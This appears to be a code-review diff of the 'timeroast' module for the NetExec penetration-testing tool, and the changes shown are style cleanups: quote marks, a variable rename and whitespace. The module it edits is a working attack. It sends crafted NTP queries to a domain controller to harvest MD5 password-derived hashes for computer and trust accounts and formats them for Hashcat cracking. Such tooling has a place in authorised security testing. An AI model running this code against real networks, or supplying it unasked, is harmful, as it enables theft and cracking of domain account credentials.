77
88
99def hashcat_format (rid , hashval , salt ):
10- """
11- Encodes hash in Hashcat-compatible format (with username prefix).
12- """
13- return f'{ rid } :$sntp-ms${ hexlify (hashval ).decode ()} ${ hexlify (salt ).decode ()} '
10+ """Encodes hash in Hashcat-compatible format (with username prefix)."""
11+ return f"{ rid } :$sntp-ms${ hexlify (hashval ).decode ()} ${ hexlify (salt ).decode ()} "
1412
1513class NXCModule :
16- '''
14+ """
1715 Module by Disgame: @Disgame
1816 Based on research from SecuraBV (@SecuraBV)
1917
2018 https://github.com/SecuraBV/Timeroast/
2119
2220 Much of this code was copied from the original implementation.
23- '''
21+ """
2422
25- name = ' timeroast'
26- description = ' Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account'
27- supported_protocols = [' smb' ]
23+ name = " timeroast"
24+ description = " Timeroasting exploits Windows NTP authentication to request password hashes of any computer or trust account"
25+ supported_protocols = [" smb" ]
2826 opsec_safe = True
2927 multiple_hosts = False
3028
@@ -33,7 +31,7 @@ def __init__(self):
3331 self .module_options = None
3432
3533 # Static NTP query prefix using the MD5 authenticator. Append 4-byte RID and dummy checksum to create a full query.
36- self .ntp_prefix = unhexlify (' db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a' )
34+ self .ntp_prefix = unhexlify (" db0011e9000000000001000000000000e1b8407debc7e50600000000000000000000000000000000e1b8428bffbfcd0a" )
3735
3836
3937 def options (self , context , module_options ):
@@ -61,10 +59,10 @@ def on_login(self, context, connection):
6159
6260 context .log .display ("Starting Timeroasting..." )
6361
64- for rid , hash , salt in self .run_ntp_roast (context , self .target , self .rids , self .rate , self .timeout , self .old_hashes , self .src_port ):
65- context .log .highlight (hashcat_format (rid , hash , salt ))
62+ for rid , md5hash , salt in self .run_ntp_roast (context , self .target , self .rids , self .rate , self .timeout , self .old_hashes , self .src_port ):
63+ context .log .highlight (hashcat_format (rid , md5hash , salt ))
6664
67- def run_ntp_roast (self , context , dc_host , rids , rate , giveup_time , old_pwd , src_port = 0 ):
65+ def run_ntp_roast (self , context , dc_host , rids , rate , giveup_time , old_pwd , src_port = 0 ):
6866 """Gathers MD5(MD4(password) || NTP-response[:48]) hashes for a sequence of RIDs.
6967 Rate is the number of queries per second to send.
7068 Will quit when either rids ends or no response has been received in giveup_time seconds. Note that the server will
@@ -73,16 +71,15 @@ def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_
7371
7472 Yields (rid, hash, salt) pairs, where salt is the NTP response data.
7573 """
76-
7774 # Flag in key identifier that indicates whether the old or new password should be used.
7875 keyflag = 2 ** 31 if old_pwd else 0
7976
8077 # Bind UDP socket.
8178 with socket (AF_INET , SOCK_DGRAM ) as sock :
8279 try :
83- sock .bind ((' 0.0.0.0' , src_port ))
80+ sock .bind ((" 0.0.0.0" , src_port ))
8481 except PermissionError :
85- context .log .exception (f' No permission to listen on port { src_port } . May need to run as root.' )
82+ context .log .exception (f" No permission to listen on port { src_port } . May need to run as root." )
8683
8784
8885 query_interval = 1 / rate
@@ -94,7 +91,7 @@ def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_
9491 # Send out query for the next RID, if any.
9592 query_rid = next (rid_iterator , None )
9693 if query_rid is not None :
97- query = self .ntp_prefix + pack ('<I' , query_rid ^ keyflag ) + b' \x00 ' * 16
94+ query = self .ntp_prefix + pack ("<I" , query_rid ^ keyflag ) + b" \x00 " * 16
9895 sock .sendto (query , (dc_host , 123 ))
9996
10097 # Wait for either a response or time to send the next query.
@@ -105,7 +102,7 @@ def run_ntp_roast(self, context, dc_host, rids, rate, giveup_time, old_pwd, src_
105102 # Extract RID, hash and "salt" if succesful.
106103 if len (reply ) == 68 :
107104 salt = reply [:48 ]
108- answer_rid = unpack ('<I' , reply [- 20 :- 16 ])[0 ] ^ keyflag
105+ answer_rid = unpack ("<I" , reply [- 20 :- 16 ])[0 ] ^ keyflag
109106 md5hash = reply [- 16 :]
110107
111108 # Filter out duplicates.
0 commit comments